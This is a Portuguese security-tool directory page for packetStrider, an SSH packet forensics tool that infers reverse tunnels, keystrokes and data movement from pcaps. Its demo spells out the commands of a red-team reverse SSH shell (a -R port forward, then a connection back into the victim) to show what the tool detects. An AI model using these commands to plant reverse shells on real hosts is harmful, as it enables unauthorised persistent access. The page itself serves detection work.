Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/benjeems/packetstrider
Sniffing e Análise de PacotesForensia de RedeAnálise ForenseTestes de PenetraçãoAprendizado de MáquinaDetecção de IntrusãoRed TeamingDetecção de Anomalias
GitHubbenjeems/packetstrider

packetStrider

Uma ferramenta de forense de pacotes de rede para SSH

Ver Repositório
254396há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Packet Strider (v0.21)

alt text

Sumário

packetStrider para SSH é uma ferramenta forense de pacotes que visa fornecer informações valiosas sobre a natureza do tráfego SSH, lançando luz nos cantos do tráfego de rede SSH onde pepitas de ouro de informações antes jaziam no escuro.

O problema que o packet strider visa ajudar (AKA Por quê?)

SSH é obviamente criptografado, mas informações contextuais valiosas ainda existem dentro do tráfego de rede que podem contribuir para TTPs, intenção, sucesso e magnitude das ações sobre os objetivos. Pode até haver situações onde contexto valioso não está disponível ou foi deletado dos hosts, e portanto ter uma captura de rede passiva imutável e inalterável dá contexto forense adicional. "Pacotes não mentem".

Separadamente ao contexto forense, as previsões do packet strider também poderiam ser usadas de forma ativa, por exemplo para rejeitar/RST conexões diretas se uma característica de iniciação de sessão SSH reversa tunelada for prevista, mesmo antes da autenticação reversa ser oferecida.

As técnicas amplas do packet strider (AKA Como?)

  • Constrói um conjunto rico de características na forma de dataframes pandas. Mais de 40 características são projetadas a partir de metadados de pacotes como conteúdo da mensagem do protocolo SSH, estatísticas normalizadas, direção, tamanho, latência e características de janela deslizante.
  • Avança (stride) por este conjunto de características várias vezes usando janelas deslizantes (inspirado em Redes Neurais Convolucionais) para prever:
Baixar ferramenta
  • O uso da opção -R na sessão direta – isto é o que permite que uma conexão reversa seja feita posteriormente na sessão. Este artefato é descoberto muito cedo na sessão, logo após a sessão direta ser autenticada. Este é o primeiro sinal de alerta disponível de que sessões reversas são possíveis.
  • Iniciação da sessão SSH reversa, que pode ocorrer a qualquer momento (cedo ou tarde) na sessão direta. Isto é descoberto antes da sessão reversa ser autenticada com sucesso. Este é o segundo sinal de alerta, indicando que uma sessão reversa acabou de ser solicitada e configurada para autenticação.
  • Sucesso e/ou Falha da autenticação da sessão reversa. Este é o terceiro e último sinal de alerta; após este ponto você sabe que alguém está no seu host, dentro de uma sessão reversa.
  • O uso da opção -A (Encaminhamento de Agente SSH), que permite ao cliente compartilhar suas chaves privadas SSH locais com o servidor. Esta funcionalidade é geralmente considerada perigosa. Referências: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
  • Todas as previsões e relatórios de metadados por fluxo (stream).
  • Humano ou automatizado, baseado em deltas de tempo.
  • O servidor já é conhecido pelo cliente? ou foi a primeira vez que uma conexão entre os dois foi feita? Isto é feito através de deltas de pacotes associados a known_hosts.
  • Se foi usada autenticação por certificado do cliente ou senha, e se o comprimento da senha é de 8 caracteres ou menos.
  • Teclas pressionadas, pressionamento da tecla delete, pressionamentos da tecla enter (recortar/colar e setas para cima/baixo é YMMV/experimental).
  • Previsões de movimento de dados de exfiltração/infiltração tanto em sessões diretas quanto reversas.
  • Funciona em sessões interativas bem como em aplicativos de transferência de arquivos baseados em SSH (ex: scp, putty, cyberduck etc).

Começando

Python3 foi usado, e você precisará dos seguintes módulos (YMMV no python2)

pip3 install pandas matplotlib pyshark

Uso:

python3 packetStrider-ssh.py -h

Saída:

root@kitploit:~
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  pcap file to analyze
  -n NSTREAM, --nstream NSTREAM
                        Perform analysis only on stream n
  -m, --metaonly        Display stream metadata only
  -k, --keystrokes      Perform keystroke prediction
  -p, --predict_plot    Plot data movement and keystrokes
  -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                        packets "x-y"
  -d DIRECTION, --direction DIRECTION
                        Perform analysis on SSH direction : "forward",
                        "reverse" OR "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Directory to output plots
  -w WINDOW, --window WINDOW
                        Sliding window size, # of packets to side of window
                        center packet, default is 2
  -s STRIDE, --stride STRIDE
                        Stride between sliding windows, default is 1

Exemplo

O pcap "forward_reverse.pcap" é de um TTP comum de um shell SSH reverso, um favorito das equipes vermelhas de todos os lugares. Especificamente os seguintes comandos foram usados, para destacar as capacidades do packet strider de forma simples:

  • Conexão direta da vítima

    • O comando para a sessão direta foi ssh [email protected] -R 31337:localhost:22 que vincula a porta local 31337 pronta para a conexão SSH reversa de volta ao PC da vítima. Esta conexão pode ser efetuada de várias formas, incluindo manualmente, por um RCE, SSRF, ou alguma forma de persistência. Para os fins desta demonstração, é uma sessão direta padrão manual.
    • Esta NÃO foi a primeira vez que o cliente viu o servidor, vemos isso porque o delta para pacotes relacionados foi muito pequeno, a impressão digital da chave do servidor já estava no known_hosts do cliente, então o usuário não foi solicitado a adicioná-la - o que aumentaria a latência dos pacotes.
    • Dois logins com senha falhos consecutivos por um humano, seguidos por um login bem-sucedido com uma senha de 8+ caracteres.
    • ls é digitado na sessão direta, nesta sequência: 'l' 'w' 'w' 'back-space' 'back-space' 's' e então enter. O tamanho total dos dados transmitidos pela rede (como saída do ls) é classificado como infiltração, já que é de entrada.
  • Agora na máquina do atacante (o servidor), um shell reverso é iniciado de volta à vítima:

    • ssh victim@localhost -p 31337. Neste ponto, que é ainda antes do processo de autenticação começar, o packet strider identificou o início da sessão SSH reversa, no pacote 72
    • Agora o atacante tem um shell reverso no host da vítima. A partir daqui, eles podem desativar as configurações de histórico e executar qualquer movimento lateral ou travessuras de saque que desejarem. Os exemplos simples nesta demonstração são reconhecimento inicial de usuário.
    • last é executado na forma de teclas 'l' 'a' 's' 'r' 'delete' 't' 'enter'
    • who é executado na forma de 'w' 'h' 'o' 'enter'
    • exit é executado na forma de 'e' 'x' 'i' 't'
  • Então, finalmente, com a sessão direta, a sessão é fechada, apenas para demonstrar que a detecção de recurso SSH direto ainda funciona.

    • exit

O tráfego de rede desta atividade é salvo em tcpdump.pcap e agora é hora de executar o Packet Strider.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

alt text

Este gráfico mostra uma linha do tempo das principais previsões (a imagem foi anotada aqui) alt text

Este gráfico mostra algumas estatísticas de janela, útil para uma análise aprofundada e experimentação com recursos. alt text

Este gráfico mostra um histograma simples alt text

Inspiração

Este projeto foi feito como uma Prova de Conceito pessoal, como uma forma de praticar com algumas bibliotecas de ciência de dados em Python, foi fortemente inspirado pelos meus estudos no Coursera em Machine Learning e Data Science, em particular a biblioteca pandas e a forma como as Redes Neurais Convolucionais (CNN) "avançam" (stride) por conjuntos de pixels de imagem usando janelas deslizantes para detectar certas características dentro delas.

Dicas

Packet Strider realiza uma vasta quantidade de "avanço" (striding) no modo de capacidade total. Isso pode resultar em um uso substancial de recursos se o pcap for grande, ou mais precisamente se houver muitos pacotes no pcap. Aqui estão algumas dicas para acelerar, que são particularmente úteis como uma execução inicial, por exemplo, apenas para ver se houve atividade SSH reversa prevista, e depois adicionando funcionalidade se desejar.

  • Certifique-se de estar executando com as versões mais recentes dos módulos que fazem o trabalho pesado, por exemplo, pyshark/tshark, pandas e matplotlib.
  • A opção -p --predict_plot é a operação mais intensiva. Pense em executar apenas com a saída para o terminal e depois veja se deseja que isso seja plotado.
  • Use a opção -m --metaonly. Isso recupera apenas os metadados de alto nível, como nomes de protocolo e dados HASSH. Isso pode ser útil para determinar rapidamente se você está lidando com uma sessão interativa usando OpenSSH, ou com um cliente de transferência de arquivos como Cyberduck.
  • Pré-filtre o pcap para o tráfego SSH.
  • Pré-filtre o pcap para o fluxo desejado, que você pode ter aprendido executando anteriormente com a opção rápida -m --metaonly. Você pode examinar apenas o fluxo "NSTREAM" com a opção "-n NSTREAM", ou pode pré-filtrar com wireshark etc.
  • Pode haver momentos em que você identifica algo interessante em um subconjunto de um conjunto de pacotes muito grande. Aqui você pode usar o recurso de zoom para examinar e plotar apenas os pacotes na região de interesse. Use -z ZOOM, --zoom ZOOM para isso. ex: -z 100-500
  • Na maioria das vezes você estará interessado em entender a atividade de teclas, então, embora não usar a opção -k economize velocidade de processamento, também significa que você não terá essa informação valiosa.

TODO

  • Mais protocolos!
  • Analisar o multithreading e ver onde isso pode ajudar na velocidade de processamento.
  • Melhorar a eficiência do script, especialmente os tempos de plotagem.
  • Melhorar o indicador de Colagem
  • Melhorar o indicador de tecla 'cima/baixo'
  • Anotar gráficos com imagemagick ou similar
  • Melhorar a função de relatório, escrever em disco.
  • O indicador de tecla reversa é conservador porque o encapsulamento de pacotes pode potencialmente relatar duas teclas. Esse problema não existe para teclas diretas, pois a ordem dos pacotes foi tratada no caso de virem fora de ordem. Examine opções aqui.
  • Portar para golang para velocidade
  • Modo tempo real
  • Examinar o efeito de tunelamento adicional de portas locais sobre a conexão direta.

Aviso Legal

Use por sua conta e risco. Consulte os termos da Licença.